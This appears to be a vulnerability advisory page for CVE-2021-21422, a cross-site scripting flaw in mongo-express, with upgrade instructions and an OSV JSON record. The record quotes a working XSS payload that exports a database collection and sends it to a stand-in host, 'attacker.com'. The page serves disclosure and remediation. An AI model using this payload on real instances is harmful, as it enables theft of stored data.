CVE-2021-21422: Mongo express Cross-Site Scripting Vulnerability
HIGHCVE-2021-21422 is a HIGH (CVSS 8.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Mongo express libraries in the npm ecosystem. The issue involves cross-site scripting. Remediation is available by upgrading affected packages to version 1.0.0-alpha.4.
CVE-2021-21422 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).
How to Fix CVE-2021-21422
To remediate this vulnerability, upgrade all affected Mongo express dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install mongo-express@1.0.0-alpha.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls mongo-express
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2021-21422, inspect your project dependencies using npm:
npm ls mongo-express
Analyze the terminal output to locate any version of Mongo express in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-alpha.4), your application is affected.
Note: The npm ls mongo-express command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Mongo express, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2021-21422 Affected Mongo express Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mongo-express
|
npm |
< 1.0.0-alpha.4
|
1.0.0-alpha.4
|
References
Frequently Asked Questions
What is CVE-2021-21422?
Which Mongo express versions are affected?
What version fixes CVE-2021-21422?
Is mongo-express affected?
What is the CVSS score of CVE-2021-21422?
What CWE is associated with CVE-2021-21422?
How can I check npm dependencies for CVE-2021-21422?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7p8h-86p5-wv3p",
"modified" : "2021-06-22T15:44:45Z",
"published" : "2021-06-28T17:18:04Z",
"aliases" : [ "CVE-2021-21422" ],
"summary" : "Cross-site scripting",
"details" : "Two kinds of XSS were found:\n\n1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>\" }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "mongo-express"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.0-alpha.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.0.0-alpha.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-21422"
}, {
"type" : "WEB",
"url" : "https://github.com/mongo-express/mongo-express/issues/577"
}, {
"type" : "WEB",
"url" : "https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2021-06-21T17:53:12Z",
"nvd_published_at" : "2021-06-21T19:15:00Z"
}
}